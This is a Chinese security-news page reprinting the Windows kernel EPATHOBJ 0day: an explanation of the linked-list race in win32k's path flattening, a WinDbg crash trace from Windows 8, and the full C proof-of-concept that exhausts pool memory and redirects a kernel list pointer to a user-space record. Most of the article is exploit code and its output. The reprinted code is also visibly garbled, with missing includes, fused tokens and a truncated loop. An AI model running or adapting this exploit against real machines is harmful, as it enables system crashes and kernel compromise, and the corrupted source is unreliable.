当前位置:主页>资 讯>安全动态>

Windows内核EPATHOBJ 0day漏洞

Windows内核EPATHOBJ 0day漏洞是通过对PATHALLOC()进行内存压力测试爆出的,首先利用PATHREC>指向相同的的用户空间PATHREC EPATHOBJ::bFlatten它会”自旋”进行无限链表遍历.

如:PathRecord->next = PathRecord;

虽然它会自旋,但它会通过另一个线程池来打补丁(pprFlattenRec)到列表中的节点(因为它是在用户空间)。

首先,创建一个”监控线程( watchdog)”,atomically补丁列表,因为pprFlattenRec过早退出,bug不能被利用会导致HeavyAllocPool

pprFlattenRec :.text:BFA122B8 call newpathrec ;EPATHOBJ::newpathrec(_PATHRECORD **,ulong *,ulong)

.text:BFA122BD cmp eax,1;Checkforfailure

.text:BFA122C0 jz shortcontinue

.text:BFA122C2 xor eax,eax ;Exitearly .text:BFA122C4 jmp early_exit

所以要创建一个这样的节点列表:

PathRecord->Next=PathRecord;PathRecord->Flags=0;

然后 EPATHOBJ::bFlatten()自旋:

BOOL __thiscall EPATHOBJ::bFlatten(EPATHOBJ *this){

/* ... */

for(ppr =ppath->pprfirst;ppr;ppr =ppr->pprnext )

{

if(ppr->flags &PD_BEZIER )

{

ppr =EPATHOBJ::pprFlattenRec(pathobj,ppr);

}

}

/* ... */}

可以先清掉另一个线程,然后再进行线程修复(因为在userspace是可以做到的)来触发该漏洞

//EPATHOBJ的::bFlatten()

第一个pprFlattenRec代码块:

if(pprNew->pprPrev )

pprNew->pprPrev->pprnext =pprNew;写入0xCCCCCCCC:DWORD WINAPI WatchdogThread(LPVOID Parameter){## 此程序超时会等待一个mutex对象,然后修补受损的链表指向一个漏洞。

LogMessage(L_INFO,“Watchdogthread %u waiting on Mutex()%p”,

GetCurrentThreadId(),

Mutex);if(WaitForSingleObject(Mutex,CYCLE_TIMEOUT)==WAIT_TIMEOUT){

## 使主(main)线程无法调用FlattenPath(),

## 因为内核EPATHOBJ::bFlatten()自旋可以被清理(clear).

## 然后打补丁列表来触发我们的exploit.

while(NumRegion?C)

DeleteObject(Regions[NumRegion]);

LogMessage(L_ERROR,“InterlockedExchange(%p,%p);”,

&PathRecord->next,&ExploitRecord);

InterlockedExchangePointer(&PathRecord->next,&ExploitRecord);}else{

LogMessage(L_ERROR,“Mutexobject did not timeout,listnot patched”);

}return0;}PathRecord->next =PathRecord;PathRecord->prev =(PVOID)(0×42424242);PathRecord->flags =0;ExploitRecord.next =NULL;ExploitRecord.prev =0xCCCCCCCC;ExploitRecord.flags =PD_BEZIERS;

在Win 8下的输出:

kd>g

**********************************************************************************BugcheckAnalysis**********************************************************************************Use!analyze -v to get detailed debugging information.BugCheck50,{cccccccc,1,8f18972e,2}***WARNING:Unableto verify checksum forComplexPath.exe

***ERROR:Moduleload completed but symbols could not be loaded forComplexPath.exe

Probablycaused by :win32k.sys (win32k!EPATHOBJ::pprFlattenRec+82)Followup:MachineOwner---------

nt!RtlpBreakWithStatusInstruction:810f46f4cc int3

kd>kv

ChildEBPRetAddrArgsto Child

a03ab494 8111c87d00000003c17b60e1 cccccccc nt!RtlpBreakWithStatusInstruction(FPO:[1,0,0])

a03ab4e4 8111c11900000003817d5340a03ab8e4 nt!KiBugCheckDebugBreak+0x1c(FPO:[Non-Fpo])

a03ab8b8 810f30ba00000050cccccccc 00000001nt!KeBugCheck2+0x655(FPO:[6,239,4])

a03ab8dc 810f2ff100000050cccccccc 00000001nt!KiBugCheck2+0xc6

a03ab8fc 811a281600000050cccccccc 00000001nt!KeBugCheckEx+0x19

a03ab94c 810896cf00000001cccccccc a03aba2c nt!??::FNODOBFM::`string'+0x31868

a03aba14 8116c4e400000001cccccccc 00000000nt!MmAccessFault+0x42d(FPO:[4,37,4])

a03aba14 8f18972e00000001cccccccc 00000000nt!KiTrap0E+0xdc(FPO:[0,0]TrapFrame@a03aba2c)

a03abbac 8f103c280124eba0a03abbd8 8f248f79win32k!EPATHOBJ::pprFlattenRec+0x82(FPO:[Non-Fpo])

a03abbb8 8f248f791c0107790016fd048f248f18win32k!EPATHOBJ::bFlatten+0x1f(FPO:[0,1,0])

a03abc08 8116918c1c0107790016fd18776d7174win32k!NtGdiFlattenPath+0x61(FPO:[1,15,4])

a03abc08 776d71741c0107790016fd18776d7174nt!KiFastCallEntry+0x12c(FPO:[0,3]TrapFrame@a03abc14)0016fcf476b1552b0124147f1c01077900000040ntdll!KiFastSystemCallRet(FPO:[0,0,0])0016fcf80124147f1c0107790000004000000000GDI32!NtGdiFlattenPath+0xa(FPO:[1,0,0])

WARNING:Stackunwind information not available.Followingframes may be wrong.0016fd1801241ade0000000100202b5000202ec8ComplexPath+0x147f0016fd6076ee18667f0de0000016fdb077716911ComplexPath+0x1ade0016fd6c777169117f0de000bc1d7832 00000000KERNEL32!BaseThreadInitThunk+0xe(FPO:[Non-Fpo])0016fdb0777168bdffffffff 7778560a00000000ntdll!__RtlUserThreadStart+0x4a(FPO:[SEH])0016fdc00000000001241b5b7f0de00000000000ntdll!_RtlUserThreadStart+0x1c(FPO:[Non-Fpo])

kd>.trap a03aba2c

ErrCode=00000002

eax=cccccccc ebx=80206014ecx=80206008edx=85ae1224esi=0124eba0edi=a03abbd8

eip=8f18972eesp=a03abaa0 ebp=a03abbac iopl=0nv up ei ng nz na pe nc

cs=0008ss=0010ds=0023es=0023fs=0030gs=0000efl=00010286

win32k!EPATHOBJ::pprFlattenRec+0x82:8f18972e8918mov dword ptr [eax],ebx ds:0023:cccccccc=????????

kd>vertarget

Windows8KernelVersion9200MP (1procs)Freex86 compatible

Product:WinNt,suite:TerminalServerSingleUserTSBuiltby:9200.16581.x86fre.win8_gdr.130410-1505MachineName:Kernelbase =0x81010000PsLoadedModuleList=0x811fde48Debugsession time:MonMay2014:17:20.2592013(UTC -7:00)SystemUptime:0days 0:02:30.432

kd>.bugcheck

Bugcheckcode 00000050Argumentscccccccc 000000018f18972e00000002

以下是示例代码POC:

#ifndefWIN32_NO_STATUS

# define WIN32_NO_STATUS#endif#include#include#include#include#include#ifdefWIN32_NO_STATUS

# undef WIN32_NO_STATUS#endif#include#pragmacomment(lib,"gdi32")#pragmacomment(lib,"kernel32")#pragmacomment(lib,"user32")#defineMAX_POLYPOINTS (8192*3)#defineMAX_REGIONS 8192#defineCYCLE_TIMEOUT 10000//// win32k!EPATHOBJ::pprFlattenRec uninitialized Next pointer testcase.//// Tavis Ormandy , March 2013//

POINT Points[MAX_POLYPOINTS];

BYTE PointTypes[MAX_POLYPOINTS];

HRGN Regions[MAX_REGIONS];

ULONG NumRegion;

HANDLE Mutex;// Log levels.typedefenum{L_DEBUG,L_INFO,L_WARN,L_ERROR }LEVEL,*PLEVEL;

BOOL LogMessage(LEVEL Level,PCHAR Format,...);// Copied from winddi.h from the DDK#definePD_BEGINSUBPATH 0x00000001#definePD_ENDSUBPATH 0x00000002#definePD_RESETSTYLE 0x00000004#definePD_CLOSEFIGURE 0x00000008#definePD_BEZIERS 0x00000010typedefstruct_POINTFIX

{

ULONG x;

ULONG y;}POINTFIX,*PPOINTFIX;// Approximated from reverse engineering.typedefstruct_PATHRECORD {

struct_PATHRECORD *next;

struct_PATHRECORD *prev;

ULONG flags;

ULONG count;

POINTFIX points[0];}PATHRECORD,*PPATHRECORD;

PPATHRECORD PathRecord;

PATHRECORD ExploitRecord;

DWORD WINAPI WatchdogThread(LPVOID Parameter){

// This routine waits for a mutex object to timeout, then patches the

// compromised linked list to point to an exploit. We need to do this.

LogMessage(L_INFO,"Watchdog thread %u waiting on Mutex () %p",

GetCurrentThreadId(),

Mutex);

if(WaitForSingleObject(Mutex,CYCLE_TIMEOUT)==WAIT_TIMEOUT){

// It looks like the main thread is stuck in a call to FlattenPath(),

// because the kernel is spinning in EPATHOBJ::bFlatten(). We can clean

// up, and then patch the list to trigger our exploit.

while(NumRegion--)

DeleteObject(Regions[NumRegion]);

LogMessage(L_ERROR,"InterlockedExchange(%p, %p);",&PathRecord->next,&ExploitRecord);

InterlockedExchangePointer(&PathRecord->next,&ExploitRecord);

}else{

LogMessage(L_ERROR,"Mutex object did not timeout, list not patched");

}

return0;}intmain(intargc,char**argv){

HANDLE Thread;

HDC Device;

ULONG Size;

HRGN Buffer;

ULONG PointNum;

ULONG Count;

// Create our PATHRECORD in userspace we will get added to the EPATHOBJ

// pathrecord chain.

PathRecord=VirtualAlloc(NULL,

sizeof(PATHRECORD),

MEM_COMMIT |MEM_RESERVE,

PAGE_EXECUTE_READWRITE);

LogMessage(L_INFO,"Alllocated userspace PATHRECORD () %p",PathRecord);

// Initialise with recognisable debugging values.

FillMemory(PathRecord,sizeof(PATHRECORD),0xCC);

PathRecord->next =PathRecord;

PathRecord->prev =(PVOID)(0x42424242);

// You need the PD_BEZIERS flag to enter EPATHOBJ::pprFlattenRec() from 需要从EPATHOBJ::pprflattenRec()键入PD——BEZIERS,这样就可以触发无限循环。

// EPATHOBJ::bFlatten(). We don't set it so that we can trigger an infinite

// loop in EPATHOBJ::bFlatten().

PathRecord->flags =0;

LogMessage(L_INFO,"->next @ %p",PathRecord->next);

LogMessage(L_INFO,"->prev @ %p",PathRecord->prev);

LogMessage(L_INFO,"->flags @ %u",PathRecord->flags);

ExploitRecord.next =NULL;

ExploitRecord.prev =0xCCCCCCCC;

ExploitRecord.flags =PD_BEZIERS;

LogMessage(L_INFO,"Creating complex bezier path with %#x",(ULONG)(PathRecord)>>4);

// Generate a large number of Bezier Curves made up of pointers to our

// PATHRECORD object.

for(PointNum=0;PointNum

Points[PointNum].x =(ULONG)(PathRecord)>>4;

Points[PointNum].y =(ULONG)(PathRecord)>>4;

PointTypes[PointNum]=PT_BEZIERTO;

}

// Switch to a dedicated desktop so we don't spam the visible desktop with

// our Lines (Not required, just stops the screen from redrawing slowly).

SetThreadDesktop(CreateDesktop("DontPanic",

NULL,

NULL,

0,

GENERIC_ALL,

NULL));

Mutex=CreateMutex(NULL,TRUE,NULL);

// Get a handle to this Desktop.

Device=GetDC(NULL);

// Spawn a thread to cleanup

Thread=CreateThread(NULL,0,WatchdogThread,NULL,0,NULL);

// We need to cause a specific AllocObject() to fail to trigger the

// exploitable condition. To do this, I create a large number of rounded

// rectangular regions until they start failing. I don't think it matters

// what you use to exhaust paged memory, there is probably a better way.

//

// I don't use the simpler CreateRectRgn() because it leaks a GDI handle on

// failure. Seriously, do some damn QA Microsoft, wtf.

for(Size=1<<26;Size;Size>>=1){

while(Regions[NumRegion]=CreateRoundRectRgn(0,0,1,Size,1,1))

NumRegion++;

}

LogMessage(L_INFO,"Allocated %u HRGN objects",NumRegion);

LogMessage(L_INFO,"Flattening curves...");

// Begin filling the free list with our points.

for(PointNum=MAX_POLYPOINTS;PointNum;PointNum-=3){

BeginPath(Device);

PolyDraw(Device,Points,PointTypes,PointNum);

EndPath(Device);

FlattenPath(Device);

FlattenPath(Device);

EndPath(Device);

}

LogMessage(L_INFO,"No luck, cleaning up");

// If we reach here, we didn't trigger the condition. Let the other thread know.

ReleaseMutex(Mutex);

ReleaseDC(NULL,Device);

WaitForSingleObject(Thread,INFINITE);

return0;}// A quick logging routine for debug messages.

BOOL LogMessage(LEVEL Level,PCHAR Format,...){

CHAR Buffer[1024]={0};

va_list Args;

va_start(Args,Format);

vsnprintf_s(Buffer,sizeofBuffer,_TRUNCATE,Format,Args);

va_end(Args);

switch(Level){

caseL_DEBUG:fprintf(stdout,"[?] %s\n",Buffer);break;

caseL_INFO:fprintf(stdout,"[+] %s\n",Buffer);break;

caseL_WARN:fprintf(stderr,"[*] %s\n",Buffer);break;

caseL_ERROR:fprintf(stderr,"[!] %s\n\a",Buffer);break;

}

fflush(stdout);

fflush(stderr);

returnTRUE;}

(责任编辑:)

分享到:

更多
发表评论
请自觉遵守互联网相关的政策法规,严禁发布色情、暴力、反动的言论。
评价:
表情:
  • 微笑/wx
  • 撇嘴/pz
  • 抓狂/zk
  • 流汗/lh
  • 大兵/db
  • 奋斗/fd
  • 疑问/yw
  • 晕/y
  • 偷笑/wx
  • 可爱/ka
  • 傲慢/am
  • 惊恐/jk
用户名: 验证码:点击我更换图片
资料下载专区
图文资讯

由蜜罐引发的物联网安全小谈

由蜜罐引发的物联网安全小谈

最近几年,物联网正以迅雷不及掩耳之势四处圈地,凡联网之物都能被黑的恶名也如影随形...[详细]

女子傻眼:银行卡刚存30万,瞬间只剩400

女子傻眼:银行卡刚存30万,瞬间只剩400

个人信息被泄露,在这个年代,好像已经屡见不鲜。但昨天,记者从海曙检察院听闻了一个...[详细]

黑客针对香港的网络攻击中利用了新型的IE浏

黑客针对香港的网络攻击中利用了新型的IE浏览器0day

微软公司在昨日修复了漏洞(CNNVD-201508-429),但攻击者已经在进行水坑攻击的过程中利...[详细]

骗子植入手机木马的10大招术:看完你将会“

骗子植入手机木马的10大招术:看完你将会“百毒不侵”

一、冒充移动客服10086 此类案件中,犯罪分子通过技术手段伪装成移动客服10086向不特...[详细]

滴滴打车有漏洞 淘宝买个软件免费打车

滴滴打车有漏洞 淘宝买个软件免费打车

近日,重庆晚报记者接到读者反映,不法商人用黑客软件刷券在淘宝网销售,声称只要几元...[详细]

返回首页 返回顶部